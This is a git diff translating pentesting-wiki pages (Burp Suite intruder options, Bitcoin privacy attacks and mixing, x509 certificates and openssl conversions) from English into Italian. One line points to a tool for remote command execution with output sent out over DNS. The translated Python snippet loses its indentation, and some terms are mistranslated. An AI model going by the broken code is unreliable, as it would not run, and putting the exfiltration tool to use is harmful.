[https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/burp-suite.md b/src/burp-suite.md index 20d374560..31aa3f621 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -5,7 +5,7 @@ - **Elenco Semplice:** Solo un elenco contenente un'entrata in ogni riga - **File Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi. - **Modifica del Caso:** Applica alcune modifiche a un elenco di stringhe (Nessuna modifica, in minuscolo, in MAIUSCOLO, in Nome Proprio - Prima lettera maiuscola e il resto in minuscolo-, in Nome Proprio - Prima lettera maiuscola e il resto rimane lo stesso-). -- **Numeri:** Genera numeri da X a Y usando Z passi o casualmente. +- **Numeri:** Genera numeri da X a Y usando Z come passo o casualmente. - **Brute Forcer:** Insieme di caratteri, lunghezza minima e massima. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e catturare l'output tramite richieste DNS a burpcollab. diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..341123436 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## Concetti di Base -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Smart Contracts** sono definiti come programmi che vengono eseguiti su una blockchain quando vengono soddisfatte determinate condizioni, automatizzando l'esecuzione degli accordi senza intermediari. +- **Decentralized Applications (dApps)** si basano su smart contracts, presentando un'interfaccia utente intuitiva e un back-end trasparente e verificabile. +- **Tokens & Coins** differenziano dove le monete servono come denaro digitale, mentre i token rappresentano valore o proprietà in contesti specifici. +- **Utility Tokens** concedono accesso a servizi, e **Security Tokens** significano proprietà di asset. +- **DeFi** sta per Finanza Decentralizzata, offrendo servizi finanziari senza autorità centrali. +- **DEX** e **DAOs** si riferiscono a Piattaforme di Scambio Decentralizzate e Organizzazioni Autonome Decentralizzate, rispettivamente. -## Consensus Mechanisms +## Meccanismi di Consenso -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +I meccanismi di consenso garantiscono validazioni di transazione sicure e concordate sulla blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **Proof of Work (PoW)** si basa sulla potenza computazionale per la verifica delle transazioni. +- **Proof of Stake (PoS)** richiede ai validatori di detenere una certa quantità di token, riducendo il consumo energetico rispetto al PoW. -## Bitcoin Essentials +## Fondamentali di Bitcoin -### Transactions +### Transazioni -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Le transazioni Bitcoin comportano il trasferimento di fondi tra indirizzi. Le transazioni vengono validate tramite firme digitali, garantendo che solo il proprietario della chiave privata possa avviare i trasferimenti. -#### Key Components: +#### Componenti Chiave: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Transazioni Multisignature** richiedono più firme per autorizzare una transazione. +- Le transazioni consistono in **input** (fonte di fondi), **output** (destinazione), **commissioni** (pagate ai miner) e **script** (regole della transazione). ### Lightning Network -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Punta a migliorare la scalabilità di Bitcoin consentendo più transazioni all'interno di un canale, trasmettendo solo lo stato finale alla blockchain. -## Bitcoin Privacy Concerns +## Preoccupazioni sulla Privacy di Bitcoin -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Gli attacchi alla privacy, come **Common Input Ownership** e **UTXO Change Address Detection**, sfruttano i modelli di transazione. Strategie come **Mixers** e **CoinJoin** migliorano l'anonimato oscurando i collegamenti delle transazioni tra gli utenti. -## Acquiring Bitcoins Anonymously +## Acquisire Bitcoin in Modo Anonimo -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +I metodi includono scambi in contante, mining e utilizzo di mixer. **CoinJoin** mescola più transazioni per complicare la tracciabilità, mentre **PayJoin** maschera i CoinJoin come transazioni normali per una maggiore privacy. -# Bitcoin Privacy Atacks +# Attacchi alla Privacy di Bitcoin -# Summary of Bitcoin Privacy Attacks +# Riepilogo degli Attacchi alla Privacy di Bitcoin -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +Nel mondo di Bitcoin, la privacy delle transazioni e l'anonimato degli utenti sono spesso oggetto di preoccupazione. Ecco una panoramica semplificata di diversi metodi comuni attraverso i quali gli attaccanti possono compromettere la privacy di Bitcoin. -## **Common Input Ownership Assumption** +## **Assunzione di Proprietà di Input Comuni** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +È generalmente raro che input di diversi utenti vengano combinati in una singola transazione a causa della complessità coinvolta. Pertanto, **due indirizzi di input nella stessa transazione sono spesso assunti appartenere allo stesso proprietario**. -## **UTXO Change Address Detection** +## **Rilevamento dell'Indirizzo di Cambio UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Un UTXO, o **Unspent Transaction Output**, deve essere completamente speso in una transazione. Se solo una parte di esso viene inviata a un altro indirizzo, il resto va a un nuovo indirizzo di cambio. Gli osservatori possono assumere che questo nuovo indirizzo appartenga al mittente, compromettendo la privacy. -### Example +### Esempio -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Per mitigare questo, i servizi di mixing o l'uso di più indirizzi possono aiutare a oscurare la proprietà. -## **Social Networks & Forums Exposure** +## **Esposizione su Reti Sociali e Forum** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Gli utenti a volte condividono i loro indirizzi Bitcoin online, rendendo **facile collegare l'indirizzo al suo proprietario**. -## **Transaction Graph Analysis** +## **Analisi del Grafo delle Transazioni** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Le transazioni possono essere visualizzate come grafi, rivelando potenziali collegamenti tra gli utenti in base al flusso di fondi. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Euristica di Input Non Necessari (Euristica di Cambio Ottimale)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Questa euristica si basa sull'analisi delle transazioni con più input e output per indovinare quale output è il cambio che ritorna al mittente. +### Esempio ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Se l'aggiunta di più input rende l'output della modifica più grande di qualsiasi singolo input, può confondere l'euristica. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Riutilizzo Forzato degli Indirizzi** -## **Forced Address Reuse** +Gli attaccanti possono inviare piccole somme a indirizzi già utilizzati, sperando che il destinatario combini questi con altri input in future transazioni, collegando così gli indirizzi tra loro. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Comportamento Corretto del Wallet -### Correct Wallet Behavior +I wallet dovrebbero evitare di utilizzare monete ricevute su indirizzi già utilizzati e vuoti per prevenire questa perdita di privacy. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Altre Tecniche di Analisi della Blockchain** -## **Other Blockchain Analysis Techniques** +- **Importi di Pagamento Esatti:** Le transazioni senza resto sono probabilmente tra due indirizzi di proprietà dello stesso utente. +- **Numeri Rotondi:** Un numero tondo in una transazione suggerisce che si tratta di un pagamento, con l'output non tondo che probabilmente è il resto. +- **Fingerprinting del Wallet:** I diversi wallet hanno schemi unici di creazione delle transazioni, consentendo agli analisti di identificare il software utilizzato e potenzialmente l'indirizzo di resto. +- **Correlazioni tra Importo e Tempistiche:** La divulgazione dei tempi o degli importi delle transazioni può rendere le transazioni tracciabili. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Analisi del Traffico** -## **Traffic Analysis** +Monitorando il traffico di rete, gli attaccanti possono potenzialmente collegare transazioni o blocchi a indirizzi IP, compromettendo la privacy degli utenti. Questo è particolarmente vero se un'entità gestisce molti nodi Bitcoin, migliorando la propria capacità di monitorare le transazioni. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Altro -## More +Per un elenco completo di attacchi alla privacy e difese, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Transazioni Bitcoin Anonime -# Anonymous Bitcoin Transactions +## Modi per Ottenere Bitcoin Anonimamente -## Ways to Get Bitcoins Anonymously +- **Transazioni in Contante**: Acquisire bitcoin tramite contante. +- **Alternative al Contante**: Acquistare carte regalo e scambiarle online per bitcoin. +- **Mining**: Il metodo più privato per guadagnare bitcoin è attraverso il mining, specialmente se fatto da solo, poiché i pool di mining possono conoscere l'indirizzo IP del miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Furto**: Teoricamente, rubare bitcoin potrebbe essere un altro metodo per acquisirlo in modo anonimo, anche se è illegale e non raccomandato. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Servizi di Mixing -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Utilizzando un servizio di mixing, un utente può **inviare bitcoin** e ricevere **bitcoin diversi in cambio**, il che rende difficile rintracciare il proprietario originale. Tuttavia, questo richiede fiducia nel servizio affinché non tenga registri e restituisca effettivamente i bitcoin. Opzioni di mixing alternative includono i casinò Bitcoin. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** unisce più transazioni da diversi utenti in una sola, complicando il processo per chiunque cerchi di abbinare input e output. Nonostante la sua efficacia, le transazioni con dimensioni di input e output uniche possono comunque essere potenzialmente tracciate. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Esempi di transazioni che potrebbero aver utilizzato CoinJoin includono `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Per ulteriori informazioni, visita [CoinJoin](https://coinjoin.io/en). Per un servizio simile su Ethereum, dai un'occhiata a [Tornado Cash](https://tornado.cash), che anonimizza le transazioni con fondi provenienti dai miner. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Una variante di CoinJoin, **PayJoin** (o P2EP), maschera la transazione tra due parti (ad esempio, un cliente e un commerciante) come una transazione normale, senza le caratteristiche distintive degli output uguali tipiche di CoinJoin. Questo rende estremamente difficile la rilevazione e potrebbe invalidare l'euristica di proprietà degli input comuni utilizzata dalle entità di sorveglianza delle transazioni. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Le transazioni come quelle sopra potrebbero essere PayJoin, migliorando la privacy rimanendo indistinguibili dalle transazioni bitcoin standard. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**L'utilizzo di PayJoin potrebbe interrompere significativamente i metodi di sorveglianza tradizionali**, rendendolo uno sviluppo promettente nella ricerca della privacy transazionale. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Migliori Pratiche per la Privacy nelle Criptovalute -# Best Practices for Privacy in Cryptocurrencies +## **Tecniche di Sincronizzazione dei Wallet** -## **Wallet Synchronization Techniques** +Per mantenere la privacy e la sicurezza, è cruciale sincronizzare i wallet con la blockchain. Due metodi si distinguono: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Full node**: Scaricando l'intera blockchain, un full node garantisce la massima privacy. Tutte le transazioni mai effettuate sono memorizzate localmente, rendendo impossibile per gli avversari identificare quali transazioni o indirizzi interessano l'utente. +- **Filtraggio dei blocchi lato client**: Questo metodo prevede la creazione di filtri per ogni blocco nella blockchain, consentendo ai wallet di identificare transazioni rilevanti senza esporre interessi specifici agli osservatori della rete. I wallet leggeri scaricano questi filtri, recuperando solo blocchi completi quando viene trovata una corrispondenza con gli indirizzi dell'utente. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Utilizzare Tor per l'Anonymity** -## **Utilizing Tor for Anonymity** +Dato che Bitcoin opera su una rete peer-to-peer, si consiglia di utilizzare Tor per mascherare il proprio indirizzo IP, migliorando la privacy durante l'interazione con la rete. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Prevenire il Riutilizzo degli Indirizzi** -## **Preventing Address Reuse** +Per proteggere la privacy, è fondamentale utilizzare un nuovo indirizzo per ogni transazione. Riutilizzare indirizzi può compromettere la privacy collegando transazioni alla stessa entità. I wallet moderni scoraggiano il riutilizzo degli indirizzi attraverso il loro design. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **Strategie per la Privacy delle Transazioni** -## **Strategies for Transaction Privacy** +- **Transazioni multiple**: Suddividere un pagamento in più transazioni può offuscare l'importo della transazione, ostacolando gli attacchi alla privacy. +- **Evitare il resto**: Optare per transazioni che non richiedono output di resto migliora la privacy interrompendo i metodi di rilevamento del resto. +- **Molteplici output di resto**: Se evitare il resto non è fattibile, generare molteplici output di resto può comunque migliorare la privacy. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Un Faro di Anonimato** -# **Monero: A Beacon of Anonymity** +Monero risponde alla necessità di anonimato assoluto nelle transazioni digitali, stabilendo un elevato standard per la privacy. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gas e Transazioni** -# **Ethereum: Gas and Transactions** +## **Comprendere il Gas** -## **Understanding Gas** +Il gas misura lo sforzo computazionale necessario per eseguire operazioni su Ethereum, valutato in **gwei**. Ad esempio, una transazione che costa 2.310.000 gwei (o 0.00231 ETH) comporta un limite di gas e una tassa base, con una mancia per incentivare i miner. Gli utenti possono impostare una tassa massima per assicurarsi di non pagare troppo, con l'eccedenza rimborsata. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **Esecuzione delle Transazioni** -## **Executing Transactions** +Le transazioni in Ethereum coinvolgono un mittente e un destinatario, che possono essere indirizzi di utenti o smart contract. Richiedono una tassa e devono essere minate. Le informazioni essenziali in una transazione includono il destinatario, la firma del mittente, il valore, dati opzionali, limite di gas e tasse. Notabilmente, l'indirizzo del mittente è dedotto dalla firma, eliminando la necessità di includerlo nei dati della transazione. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Queste pratiche e meccanismi sono fondamentali per chiunque desideri interagire con le criptovalute dando priorità alla privacy e alla sicurezza. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Riferimenti - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..0f80521b8 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Certificati {{#include ../banners/hacktricks-training.md}} -
+## Cos'è un Certificato -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Un **certificato di chiave pubblica** è un ID digitale utilizzato nella crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile una comunicazione sicura con il proprietario della chiave. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +I certificati sono principalmente emessi da [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in un [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Un altro metodo è il [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come delineato in RFC 5280. -## What is a Certificate +## Campi Comuni x509 -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **Campi Comuni nei Certificati x509** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Nei certificati x509, diversi **campi** svolgono ruoli critici nel garantire la validità e la sicurezza del certificato. Ecco una suddivisione di questi campi: -## x509 Common Fields +- **Numero di Versione** indica la versione del formato x509. +- **Numero di Serie** identifica univocamente il certificato all'interno del sistema di un'Autorità di Certificazione (CA), principalmente per il tracciamento delle revoche. +- Il campo **Soggetto** rappresenta il proprietario del certificato, che potrebbe essere una macchina, un individuo o un'organizzazione. Include identificazione dettagliata come: +- **Nome Comune (CN)**: Domini coperti dal certificato. +- **Paese (C)**, **Località (L)**, **Stato o Provincia (ST, S, o P)**, **Organizzazione (O)** e **Unità Organizzativa (OU)** forniscono dettagli geografici e organizzativi. +- **Nome Distinto (DN)** racchiude l'intera identificazione del soggetto. +- **Emittente** dettaglia chi ha verificato e firmato il certificato, includendo sottocampi simili a quelli del Soggetto per la CA. +- Il **Periodo di Validità** è contrassegnato dai timestamp **Non Prima** e **Non Dopo**, assicurando che il certificato non venga utilizzato prima o dopo una certa data. +- La sezione **Chiave Pubblica**, cruciale per la sicurezza del certificato, specifica l'algoritmo, la dimensione e altri dettagli tecnici della chiave pubblica. +- Le **estensioni x509v3** migliorano la funzionalità del certificato, specificando **Utilizzo della Chiave**, **Utilizzo Esteso della Chiave**, **Nome Alternativo del Soggetto** e altre proprietà per affinare l'applicazione del certificato. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Utilizzo della Chiave e Estensioni** +- **Utilizzo della Chiave** identifica le applicazioni crittografiche della chiave pubblica, come la firma digitale o la cifratura della chiave. +- **Utilizzo Esteso della Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio, per l'autenticazione del server TLS. +- **Nome Alternativo del Soggetto** e **Vincolo di Base** definiscono nomi host aggiuntivi coperti dal certificato e se si tratta di un certificato CA o di entità finale, rispettivamente. +- Identificatori come **Identificatore della Chiave del Soggetto** e **Identificatore della Chiave dell'Autorità** garantiscono l'unicità e la tracciabilità delle chiavi. +- **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare la CA emittente e controllare lo stato di revoca del certificato. +- **SCTs Precertificate CT** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Differenza tra OCSP e Punti di Distribuzione CRL** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) coinvolge un client e un risponditore che lavorano insieme per controllare se un certificato pubblico digitale è stato revocato, senza la necessità di scaricare l'intero **CRL**. Questo metodo è più efficiente rispetto al tradizionale **CRL**, che fornisce un elenco di numeri di serie di certificati revocati ma richiede il download di un file potenzialmente grande. I CRL possono includere fino a 512 voci. Maggiori dettagli sono disponibili [qui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Cos'è la Trasparenza dei Certificati** -### **What is Certificate Transparency** +La Trasparenza dei Certificati aiuta a combattere le minacce legate ai certificati garantendo che l'emissione e l'esistenza dei certificati SSL siano visibili ai proprietari di dominio, CA e utenti. I suoi obiettivi sono: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- Prevenire che le CA emettano certificati SSL per un dominio senza la conoscenza del proprietario del dominio. +- Stabilire un sistema di auditing aperto per tracciare certificati emessi per errore o in modo malevolo. +- Proteggere gli utenti da certificati fraudolenti. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Log dei Certificati** -#### **Certificate Logs** - -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +I log dei certificati sono registri pubblicamente auditabili, solo in append, di certificati, mantenuti dai servizi di rete. Questi log forniscono prove crittografiche per scopi di auditing. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per verifica. Sebbene il numero esatto di server di log non sia fisso, si prevede che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o qualsiasi entità interessata. #### **Query** -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Per esplorare i log della Trasparenza dei Certificati per qualsiasi dominio, visita [https://crt.sh/](https://crt.sh). -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +Esistono diversi formati per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riepilogo copre i formati principali e fornisce indicazioni sulla conversione tra di essi. -## **Formats** +## **Formati** -### **PEM Format** +### **Formato PEM** -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +- Formato più ampiamente utilizzato per i certificati. +- Richiede file separati per certificati e chiavi private, codificati in Base64 ASCII. +- Estensioni comuni: .cer, .crt, .pem, .key. +- Utilizzato principalmente da Apache e server simili. -### **DER Format** +### **Formato DER** -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +- Un formato binario di certificati. +- Mancano le dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM. +- Estensioni comuni: .cer, .der. +- Spesso utilizzato con piattaforme Java. -### **P7B/PKCS#7 Format** +### **Formato P7B/PKCS#7** -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +- Memorizzato in Base64 ASCII, con estensioni .p7b o .p7c. +- Contiene solo certificati e certificati di catena, escludendo la chiave privata. +- Supportato da Microsoft Windows e Java Tomcat. -### **PFX/P12/PKCS#12 Format** +### **Formato PFX/P12/PKCS#12** -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +- Un formato binario che racchiude certificati del server, certificati intermedi e chiavi private in un unico file. +- Estensioni: .pfx, .p12. +- Utilizzato principalmente su Windows per l'importazione e l'esportazione dei certificati. -### **Converting Formats** +### **Conversione dei Formati** -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**Le conversioni PEM** sono essenziali per la compatibilità: +- **x509 a PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM a DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER a PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM a P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 a PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out 